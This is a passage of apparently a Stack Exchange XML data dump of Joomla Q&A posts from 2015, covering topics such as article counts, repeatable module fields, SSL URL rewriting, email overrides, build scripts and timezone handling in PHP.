use&lt;/li&gt;&#xA;&lt;li&gt;Support&lt;/li&gt;&#xA;&lt;li&gt;Documentation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So when you get the results, you may end up with something like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{functionality}TEXT_HERE{/functionality}{ease_of_use}TEXT_HERE{/ease_of_use}{support}TEXT_HERE{/support}{documentation}TEXT_HERE{/documentation}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So categorization/separation may be required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps those who want to do the same in future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might write a Joomla module so others can integrate it in their own site, without having to worry about code.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-29T11:15:13.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9715" PostTypeId="1" AcceptedAnswerId="9741" CreationDate="2015-04-29T12:01:45.273" Score="3" ViewCount="1133" Body="&lt;p&gt;I'm trying to use some PHP I found on here to count all the articles in a specific category (10), the PHP is working but only showing 20 articles, when a manual count shows 28. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = JModelLegacy::getInstance('Articles', 'ContentModel');&#xA;&#xA;$model-&amp;gt;setState('filter.category_id', 10); // Set category ID here&#xA;&#xA;$articles = $model-&amp;gt;getItems();&#xA;&#xA;$num_articles = count($articles);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what I am doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="154" LastEditDate="2015-04-30T12:46:50.403" LastActivityDate="2015-04-30T12:46:50.403" Title="Trying to count the number of articles in a category but give wrong number" Tags="|joomla-3.x|php|articles|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9716" PostTypeId="2" ParentId="9715" CreationDate="2015-04-29T12:33:12.917" Score="3" Body="&lt;p&gt;Try &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;$model-&amp;gt;setState('filter.category_id', 10); // Set category ID here&#xA;$model-&amp;gt;setState('list.limit', 0);&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in combination with &lt;code&gt;ignore_request&lt;/code&gt; (see &lt;a href=&quot;https://joomla.stackexchange.com/a/9741/154&quot;&gt;Rene Korss answer&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found another solution how you can set the list.limit of the model without adding ignore_request to your model. Add these lines before you call getItems:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $app = JFactory::getApplication();&#xA;    $app-&amp;gt;input-&amp;gt;set('list', array('limit' =&amp;gt; 0));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise the default limit gets applied to getItems (which is 20).&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-04-30T10:39:00.650" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9717" PostTypeId="1" CreationDate="2015-04-29T12:53:20.753" Score="1" ViewCount="812" Body="&lt;p&gt;I have upgraded a site from 2.5.28 to 3.4.1.I followed the migration steps as specified in document. It says like it successfully upgraded to latest joomla version 3.4.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I go to home page it throws like this&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;500 - JHtmlBehavior::mootools not found.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You may not be able to visit this page because of:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;an out-of-date bookmark/favourite a search engine that has an&#xA;  out-of-date listing for this site a mistyped address you have no&#xA;  access to this page The requested resource was not found. An error has&#xA;  occurred while processing your request.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Please try one of the following pages:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Home Page&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If difficulties persist, please contact the System Administrator of this site and report the error below.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What should I do to resolve this issue ? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="4153" LastEditorUserId="1629" LastEditDate="2015-04-29T13:53:03.870" LastActivityDate="2015-10-26T16:58:39.267" Title="Upgrade issue from 2.5.28 to joomla 3.4.1" Tags="|joomla-3.x|joomla-2.5|upgrade|mootools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9718" PostTypeId="2" ParentId="9717" CreationDate="2015-04-29T13:09:53.893" Score="1" Body="&lt;p&gt;&lt;code&gt;JHTML::_('behavior.mootools');&lt;/code&gt; is the code you will need to look for. This was used up until Joomla 3.x, where is was changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest you do a mass find with your text editor for the above code and once found, replace it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's most likely coming from your template, or an extension&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-29T13:09:53.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9719" PostTypeId="1" AcceptedAnswerId="9727" CreationDate="2015-04-29T13:32:17.503" Score="1" ViewCount="109" Body="&lt;p&gt;When I post on facebook debugger an URL article it fetches different datas if use SEF or non SEF URL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The SEF URL displays the information correctly (thumbnail, title...) but the non SEF URL desperately retrieves the data from the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I do need to sometime change the menu items title, I can't use the SEF URL otherwhise they would be broken. (The facebook links of my post can't depend on my menu name). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I force facebook to fetch the correct thumbnail, tittle, description of the article even if I use the non SEF URL? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding some meta tags directly on my index.ph (such as &quot;og:title&quot; etc.) in the head section would not work since it would force facebook to alsways retrieve the same thumbnail, titles etc.&lt;/p&gt;&#xA;" OwnerUserId="1580" LastActivityDate="2016-01-04T21:04:58.143" Title="Facebook change thumbnail, tittle, secription when using SEF and non SEF URL of the same page" Tags="|joomla-3.3.x|url|sef|facebook|non-sef-url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9720" PostTypeId="1" CreationDate="2015-04-29T14:40:02.683" Score="1" ViewCount="232" Body="&lt;p&gt;Since the update to 3.4.1. I have problems with SSL redirection. The base url of images en css is not redirected to https so the pages won't load anymore. I can't find anything about this on google. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does someone know how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="4155" LastEditorUserId="159" LastEditDate="2015-05-03T17:17:34.950" LastActivityDate="2018-11-28T04:27:04.770" Title="Problem with SSL after update to Jooma 3.4.1" Tags="|ssl|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9721" PostTypeId="1" AcceptedAnswerId="9722" CreationDate="2015-04-29T15:28:21.697" Score="4" ViewCount="2447" Body="&lt;p&gt;I use the field type &quot;repeatable&quot; in a Joomla module I've created but I don't know how to get the values out of it and use it in the module's default.php to create the output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My repeatable field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    &amp;lt;field name=&quot;mitarbeiter&quot;&#xA;                    type=&quot;Repeatable&quot;&#xA;                    icon=&quot;list&quot;&#xA;                    description=&quot;Mitarbeiter eingeben&quot;&#xA;                    label=&quot;Mitarbeiter eingeben&quot;&#xA;                    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;                        &amp;lt;fieldset hidden=&quot;true&quot; name=&quot;mitarbeiter_template_modal&quot; repeat=&quot;true&quot;&amp;gt;&#xA;&#xA;                        &amp;lt;field name=&quot;mitarbeitername&quot;&#xA;                            label=&quot;Name&quot;&#xA;                            size=&quot;30&quot;&#xA;                            type=&quot;text&quot; /&amp;gt;&#xA;&#xA;                        &amp;lt;field name=&quot;mitarbeiterfunktion&quot;&#xA;                            label=&quot;Funktion&quot;&#xA;                            size=&quot;30&quot;&#xA;                            type=&quot;text&quot; /&amp;gt;&#xA;&#xA;                        &amp;lt;field name=&quot;mitarbeitertelefonnummer&quot;&#xA;                            label=&quot;Funktion&quot;&#xA;                            size=&quot;30&quot;&#xA;                            type=&quot;text&quot; /&amp;gt;&#xA;&#xA;                        &amp;lt;field name=&quot;mitarbeiteremail&quot;&#xA;                            label=&quot;Funktion&quot;&#xA;                            size=&quot;30&quot;&#xA;                            type=&quot;text&quot; /&amp;gt;&#xA;&#xA;                        &amp;lt;field name=&quot;mitarbeiterbild&quot;&#xA;                            label=&quot;Bild-URL&quot;&#xA;                            size=&quot;30&quot;&#xA;                            type=&quot;text&quot; /&amp;gt;&#xA;&#xA;                        &amp;lt;/fieldset&amp;gt;&#xA;                    &amp;lt;/fields&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Normally I get the value of a field in the mod_modulename.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fieldvalue = $parameters-&amp;gt;get('fieldname');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4156" LastEditorDisplayName="user3831" LastEditDate="2016-10-05T11:52:36.917" LastActivityDate="2016-10-05T11:52:36.917" Title="Get value from a repeatable field and use it in a module" Tags="|module|repeatable-field|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9722" PostTypeId="2" ParentId="9721" CreationDate="2015-04-29T15:38:08.967" Score="4" Body="&lt;p&gt;I was hoping someone would eventually ask this question on here. I wrote a function for my first usage of repeatable form fields and use it for every extension I make now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how you do it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, get the json object for the parameter like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mitarbeiter = $params-&amp;gt;get('mitarbeiter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then decode the json object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$json = json_decode($mitarbeiter, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then can then group each set of fields by key, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function group_by_key($array) &#xA;{&#xA;    $result = array();&#xA;&#xA;    foreach ($array as $sub) &#xA;    {&#xA;        foreach ($sub as $k =&amp;gt; $v) &#xA;        {&#xA;            $result[$k][] = $v;&#xA;        }&#xA;    }&#xA;    return $result;&#xA;}&#xA;&#xA;$filtered_array = group_by_key($json);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally, you'll need to iterate though it using a &lt;code&gt;foreach&lt;/code&gt; loop, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($filtered_array as $index=&amp;gt;$value) &#xA;{   &#xA;    echo $value[0] . '&amp;lt;br&amp;gt;';   // mitarbeitername&#xA;    echo $value[1] . '&amp;lt;br&amp;gt;';   // mitarbeiterfunktion&#xA;    echo $value[2] . '&amp;lt;br&amp;gt;';   // mitarbeitertelefonnummer&#xA;    echo $value[3] . '&amp;lt;br&amp;gt;';   // mitarbeiteremail&#xA;    echo $value[4] . '&amp;lt;br&amp;gt;';   // mitarbeiterbild&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-29T15:38:08.967" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9723" PostTypeId="1" CreationDate="2015-04-29T16:00:29.263" Score="0" ViewCount="1728" Body="&lt;p&gt;I'm using Joomla 3.4.1, and I want to change the layout and style of the notifications email for the Contact component (I want to add some disclaimer text that we always use in our emails).&#xA;When someone sends a message in the contact form, and the admin gets an email, that's the notificacion i'm trying to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which files should I be looking at?&lt;/p&gt;&#xA;" OwnerUserId="4157" LastEditorUserId="4157" LastEditDate="2015-04-29T16:32:10.823" LastActivityDate="2015-04-30T04:55:13.847" Title="How can i change the layout of notification email in com_contact?" Tags="|joomla-3.x|component|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9724" PostTypeId="2" ParentId="9723" CreationDate="2015-04-29T16:24:20.097" Score="1" Body="&lt;p&gt;You should be able to do this by creating a language override, as the content of the Joomla system emails comes from language files. I'm not sure exactly what notification you want to override, but take a look at the file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROOT/language/en-GB/en-GB.com_user.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember you should never edit core Joomla files. Locate the string(s) you need, and create an override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create an override from the Joomla admin area. Under &quot;Extensions&quot; click on &quot;Language Manager&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do it manually but creating the following file (if it doesn't already exist):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROOT/language/overrides/en-GB.override.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this file you can add your overrides, and they will not be deleted when you update Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easier alternative would maybe be to use a Joomla form component (I like &lt;a href=&quot;http://extensions.joomla.org/extension/breezingforms&quot; rel=&quot;nofollow&quot;&gt;BreezingForms&lt;/a&gt; a lot, but there are many other alternatives). It's possible to configure both user and admin emails, and even attach additional files to the message, like a PDF or image.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2015-04-29T16:45:14.870" LastActivityDate="2015-04-29T16:45:14.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9725" PostTypeId="2" ParentId="9720" CreationDate="2015-04-29T16:53:00.753" Score="0" Body="&lt;p&gt;I had a &lt;a href=&quot;https://joomla.stackexchange.com/questions/3960/change-http-to-https-in-source-code-when-using-ssl&quot;&gt;similar problem&lt;/a&gt; some time ago. My problem was that some of the files were referenced using an absolute URL in the source code (beginning with &lt;code&gt;http://&lt;/code&gt;. If that's the case with your site, the solution is to replace &lt;code&gt;http://&lt;/code&gt; with simply &lt;code&gt;//&lt;/code&gt;. I ended up doing it manually, but David Fritsch suggested a small plugin to take care of this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterRender() {&#xA;    $buffer = JFactory::getApplication()-&amp;gt;getBody();&#xA;    $pattern = '~&amp;lt;[^&amp;gt;]*[&quot;\']\Khttps?://~i';&#xA;    $replacement = '//';&#xA;    $buffer = preg_replace($pattern, $replacement, $buffer);&#xA;    JResponse::setBody($buffer);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="12352" LastEditDate="2018-11-28T04:27:04.770" LastActivityDate="2018-11-28T04:27:04.770" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="9726" PostTypeId="1" CreationDate="2015-04-29T17:35:05.633" Score="3" ViewCount="120" Body="&lt;p&gt;I develop my first full component, following my tutorial. When I reached a point for check I do some steps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create the zip file&lt;/li&gt;&#xA;&lt;li&gt;open the backend tab in my browser&lt;/li&gt;&#xA;&lt;li&gt;click on &quot;browse installation file&quot;&lt;/li&gt;&#xA;&lt;li&gt;click on the file &lt;/li&gt;&#xA;&lt;li&gt;click ok&lt;/li&gt;&#xA;&lt;li&gt;click on upload &amp;amp; install&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are a lot of clicks for the upload of a version. I would like to do this more automatic. The zip-file is created via &quot;grunt&quot;, but I can't figure out how to send this file to the install process of my local Joomla installation.&lt;/p&gt;&#xA;" OwnerUserId="3605" LastActivityDate="2015-04-29T18:58:08.870" Title="How to install a new component version automatically during development" Tags="|joomla-3.x|component|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9727" PostTypeId="2" ParentId="9719" CreationDate="2015-04-29T17:53:36.103" Score="2" Body="&lt;p&gt;Non SEF Urls can be troublesome. Query parameters are usually associated with tracking and usually discarded by Facebook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can test how Facebook scrappes your site with the Debugger tool: &lt;a href=&quot;https://developers.facebook.com/tools/debug/&quot; rel=&quot;nofollow&quot;&gt;https://developers.facebook.com/tools/debug/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In JED, you can find several extension to add Facebook Open Graph Tags.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="1580" LastEditDate="2015-05-12T08:56:08.553" LastActivityDate="2015-05-12T08:56:08.553" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9728" PostTypeId="2" ParentId="9726" CreationDate="2015-04-29T18:32:14.163" Score="2" Body="&lt;p&gt;One:&#xA;The quick option is to create ANT build script which will automatically copy files to respective directories as and when they are edited. Eclipse can handle this for you effortlessly. Some sample ANT build script for XAMPP installation here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;project name=&quot;Test&quot; default=&quot;copyall&quot; basedir=&quot;.&quot;&amp;gt;&#xA;    &amp;lt;property name=&quot;site3&quot; value=&quot;d:/xampp/htdocs/j3/components/com_mycom&quot; /&amp;gt;&#xA;    &amp;lt;property name=&quot;admin3&quot; value=&quot;d:/xampp/htdocs/j3/administrator/components/com_mycom&quot; /&amp;gt;&#xA;    &amp;lt;property name=&quot;sitelang3&quot; value=&quot;d:/xampp/htdocs/j3/language/en-GB&quot; /&amp;gt;&#xA;    &amp;lt;property name=&quot;adminlang3&quot; value=&quot;d:/xampp/htdocs/j3/administrator/language/en-GB&quot; /&amp;gt;&#xA;    &amp;lt;property name=&quot;media3&quot; value=&quot;d:/xampp/htdocs/j3/media/com_mycom&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;target name=&quot;copyall&quot;&amp;gt;&#xA;        &amp;lt;copy todir=&quot;${site3}&quot;&amp;gt;&amp;lt;fileset dir=&quot;site&quot;&amp;gt;&amp;lt;include name=&quot;**&quot;/&amp;gt;&amp;lt;/fileset&amp;gt;&amp;lt;/copy&amp;gt;&#xA;        &amp;lt;copy todir=&quot;${admin3}&quot; &amp;gt;&amp;lt;fileset dir=&quot;admin&quot;&amp;gt;&amp;lt;include name=&quot;**&quot; /&amp;gt;&amp;lt;exclude name=&quot;language/**&quot;/&amp;gt;&amp;lt;/fileset&amp;gt;&amp;lt;/copy&amp;gt;&#xA;        &amp;lt;copy todir=&quot;${sitelang3}&quot;&amp;gt;&amp;lt;fileset dir=&quot;site/language/en-GB&quot;&amp;gt;&amp;lt;include name=&quot;**&quot;/&amp;gt;&amp;lt;/fileset&amp;gt;&amp;lt;/copy&amp;gt;&#xA;        &amp;lt;copy todir=&quot;${adminlang3}&quot;&amp;gt;&amp;lt;fileset dir=&quot;admin/language/en-GB&quot;&amp;gt;&amp;lt;include name=&quot;**&quot;/&amp;gt;&amp;lt;/fileset&amp;gt;&amp;lt;/copy&amp;gt;&#xA;        &amp;lt;copy todir=&quot;${media3}&quot;&amp;gt;&amp;lt;fileset dir=&quot;site/media&quot;&amp;gt;&amp;lt;include name=&quot;**&quot;/&amp;gt;&amp;lt;/fileset&amp;gt;&amp;lt;/copy&amp;gt;&#xA;    &amp;lt;/target&amp;gt;&#xA;&amp;lt;/project&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Two:&#xA;The next quick option is use directory installer. It will avoid 3 clicks i.e. for zip and upload.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-04-29T18:58:08.870" LastActivityDate="2015-04-29T18:58:08.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9729" PostTypeId="1" CreationDate="2015-04-29T19:02:46.750" Score="1" ViewCount="934" Body="&lt;p&gt;I have recently setup articles and when pasting the URL on Facebook, everything comes up correct except that right after the website URL there is a reference for the author: Like this below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DOMAIN NAME | BY SUPER USER&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I remove the author reference?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have hidden in on the site from the article management and menu management etc. It only shows up on Facebook.&lt;/p&gt;&#xA;" OwnerUserId="4158" LastActivityDate="2016-05-16T05:18:19.733" Title="How do I remove &quot;BY SUPER USER&quot; from Facebook shared Joomla article?" Tags="|joomla-3.x|facebook|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9730" PostTypeId="1" CreationDate="2015-04-29T19:38:25.953" Score="1" ViewCount="708" Body="&lt;p&gt;I'm currently having a strange issue on a website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When on the frontpage from the site the module for displaying the manufacturers show the following URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.example.com/components/virtuemart/manufacturer/[name-of-manufacturer]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I click on a virtuemart productview or on the manufacturer page, the same module displays the right URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.example.com/webshop/manufacturer/[name-of-manufacturer]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm quite confused about this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even assigned the VM frontpage to a hidden menu item&lt;/p&gt;&#xA;" OwnerUserId="3572" LastActivityDate="2015-04-30T06:31:14.640" Title="Remove /component/virtuemart/ from manufacturer module on frontpage" Tags="|joomla-2.5|virtuemart|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9732" PostTypeId="1" CreationDate="2015-04-29T21:04:34.727" Score="1" ViewCount="721" Body="&lt;p&gt;I am facing a problem with the function loadFormData where there is check whether to pull data from the session or from the table.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function loadFormData() {&#xA;  // Check the session for previously entered form data.&#xA;  $data = JFactory::getApplication()-&amp;gt;getUserState('com_mycomp.edit.profile.data', array());&#xA;  if (empty($data)) {&#xA;    $data = $this-&amp;gt;getItem();&#xA;  }&#xA;&#xA;  //Do further validation on $data and adjust the required values&#xA;  if (is_object($data)){&#xA;    $data-&amp;gt;custom_field = 'custom value';&#xA;  }else if (is_array($data)){&#xA;    $data['custom_field'] = 'custom value'&#xA;  }&#xA;&#xA;  return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While pulling the data from session it pulls in Array format and while pulling the data from database it pulls as JObject.  This makes our life harder by checking whether it is object or array.  Is there any easier way to manage this by having both as JObject of Array?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-04-30T06:57:36.537" Title="getUserState() return array where as getItem() return JObject" Tags="|jform|joomla-3.4|model|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9733" PostTypeId="2" ParentId="9729" CreationDate="2015-04-29T23:01:26.120" Score="2" Body="&lt;p&gt;Facebook loads the author from page meta-data. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;author&quot; content=&quot;SUPER USER&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To take advantage of Facebook layout, you can change the user name to a different text. For example, your website slogan.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-04-29T23:01:26.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9734" PostTypeId="2" ParentId="9732" CreationDate="2015-04-30T02:32:33.490" Score="1" Body="&lt;p&gt;What data you are returning in getItem function? You can simply match the data you are setting in session or you are returning in your getItem function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your getItem function, instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = $db-&amp;gt;loadObject();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;load data using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = $db-&amp;gt;loadAssoc();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-04-30T02:32:33.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9735" PostTypeId="2" ParentId="9691" CreationDate="2015-04-30T02:37:57.037" Score="1" Body="&lt;p&gt;OK so I believe this to be true :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking for a Joomla answer whereas I needed to use some Joomla and some php to get what I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JDate works off UTC timezone by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need to apply your server timezone offset (or user timezone offset) to the date first. That way,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config = JFactory::getConfig();&#xA;$offset = $config-&amp;gt;get('offset');&#xA;echo $offset;&#xA;echo &quot;&amp;lt;br&amp;gt;&quot;;&#xA;$date = new JDate('today', $offset);&#xA;echo $date;&#xA;echo &quot;&amp;lt;br&amp;gt;&quot;;&#xA;$date-&amp;gt;setTimezone(new DateTimeZone('UTC'));&#xA;echo $date;&#xA;echo &quot;&amp;lt;br&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output of the above for me was: Australia/Melbourne 2015-04-30 00:00:00 2015-04-29 14:00:00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and now I have the UTC offset of today for my server and can use it query data.&lt;/p&gt;&#xA;" OwnerUserId="1799" LastActivityDate="2015-04-30T02:37:57.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9737" PostTypeId="2" ParentId="9723" CreationDate="2015-04-30T04:55:13.847" Score="0" Body="&lt;p&gt;got to &lt;code&gt;components\com_contact\controllers\contact.php&lt;/code&gt; and edit to whatever format you wish. Always works for me. &lt;strong&gt;back up the file first&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3854" LastActivityDate="2015-04-30T04:55:13.847" CommentCount="3" CommunityOwnedDate="2015-04-30T04:55:13.847" ContentLicense="CC BY-SA 3.0" />
  <row Id="9738" PostTypeId="2" ParentId="9732" CreationDate="2015-04-30T06:23:37.597" Score="2" Body="&lt;p&gt;You could map array to object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$object = Joomla\Utilities\ArrayHelper::toObject($array, 'JObject');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your code would become &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = (array)JFactory::getApplication()-&amp;gt;getUserState('com_mycomp.edit.profile.data', array());&#xA;$data = Joomla\Utilities\ArrayHelper::toObject($data, 'JObject');&#xA;&#xA;//Do further validation on $data and adjust the required values&#xA;if (is_object($data)){&#xA;  $data-&amp;gt;custom_field = 'custom value';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2015-04-30T06:44:33.007" LastActivityDate="2015-04-30T06:44:33.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9739" PostTypeId="2" ParentId="9730" CreationDate="2015-04-30T06:31:14.640" Score="1" Body="&lt;p&gt;Add manufacturers list view to hidden menu. This should be used if there is no specific menu item for current manufacturer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tested this on Joomla! 3.4, adding VM Front Page to hidden menu creates links correctly on every page, like &lt;code&gt;webshop/manufacturer/&lt;/code&gt;. Maybe you could consider migrating to Joomla! 3.x?&lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-04-30T06:31:14.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
